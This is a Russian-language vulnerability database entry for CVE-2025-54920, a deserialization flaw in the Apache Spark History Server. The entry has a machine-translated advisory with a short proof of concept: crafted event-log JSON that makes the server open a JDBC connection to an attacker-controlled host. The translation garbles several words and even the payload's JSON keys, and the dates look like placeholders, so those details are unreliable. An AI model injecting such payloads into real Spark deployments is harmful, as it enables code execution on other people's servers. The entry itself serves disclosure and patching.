V
Сканер-ВС
ГлавнаяКаталогИсточникиCWECAPECATT&CKМеры защитыПродуктыВендорыДокументация
CVE-2025-54920
ANC
Высокий

Эта проблема затрагивает Apache Spark: до 3.5.7 и 4.0.1. Пользователям рекомендуется обновиться до версии 3.5.7 или 4.0.1 и выше, что устра…

CVSS
8.8
Высокий
EPSS
0.05
p91
Опубликовано
2025-01-01
Обновлено
2025-01-01
Описание

Эта проблема затрагивает Apache Spark: до 3.5.7 и 4.0.1. Пользователям рекомендуется обновиться до версии 3.5.7 или 4.0.1 и выше, что устраняет проблему. Резюме Apache Spark 3.5.4 и более ранние версии содержат уязвимость исполнения кода в Spark History Web UI из-за чрезмерной жемеризации данных журнала событий Джексона. Это позволяет злоумышленнику с доступом к каталогу журналов событий Spark вводить вредоносные полезные нагрузки JSON, которые вызывают дезериаизацию произвольных классов, позволяя выполнять команды на хосте под управлением Spark History Server. Детали Уязвимость возникает потому, что Spark History Server использует полиморфную дезериалазизацию Джексона с @JsonTypeInfo.Id.CLASS на объектах SparkListenerEvent, что позволяет злоумышленнику указывать произвольные названия классов в случае JSON. Такое поведение позволяет инстанцировать непреднамеренные классы, такие как org.apache.hive.jdbc.HiveConnection, которые могут выполнять сетевые вызовы или другие вредоносные действия во время дезериализации. Злоумышленник может использовать это, вводя созданный контент JSON в файлы журнала событий Spark, которые сервер истории затем дезериализует при запуске или при загрузке журналов событий. Например, злоумышленник может заставить сервер истории открыть соединение JDBC на удаленном сервере, управляемом злоумышленником, демонстрируя возможность удаленного ввода команд. Доказательства концепции: 1. 1. Запустите Spark с включенной регистрацией событий, записав в письменные каталоги (spark-logs). 2. 2. Введите следующий JSON в начале файла журнала событий: { "Событие": "орг.apache.hive.jdbc.HiveConnection", "уи": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "бережлость://<IP>:<PORT>" } } 3. 3. Запустите сервер истории Spark с журналами, указывающими на измененный каталог. 4. 4. Сервер истории Spark инициирует соединение JDBC с сервером злоумышленника, подтверждая инъекцию. Влияние Агитлер с доступом к записи журналов событий Spark может выполнить произвольный код на сервере под управлением Исторического сервера, потенциально компрометируя всю систему.

Теги · CWE
CWE-502
CAPEC-586
Затронутые продукты
Spark < 3.5.7Spark
Вектор CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Хронология
2025-01-01
Опубликована
2025-01-01
Обновлена
Разбор CVSS 3.1
Вектор атаки
AV: N
Сеть (N)
Сложность атаки
AC: L
Низкая (L)
Требуемые привилегии
PR: L
Низкие (L)
Взаимодействие с пользователем
UI: N
Отсутствует (N)
Область воздействия
S: U
Неизменная (U)
Воздействие на конфиденциальность
C: H
Высокое (H)
Воздействие на целостность
I: H
Высокое (H)
Воздействие на доступность
A: H
Высокое (H)
Индикаторы эксплуатации
EPSS
0.053 · p91
Известна эксплуатация (KEV)
Нет
Проверки Сканер-ВС
Проверок Сканер-ВС для этой уязвимости в базе пока нет.
Затронутые продукты
ПродуктВендорСтатус
Отслеживается
Отслеживается
spark*Отслеживается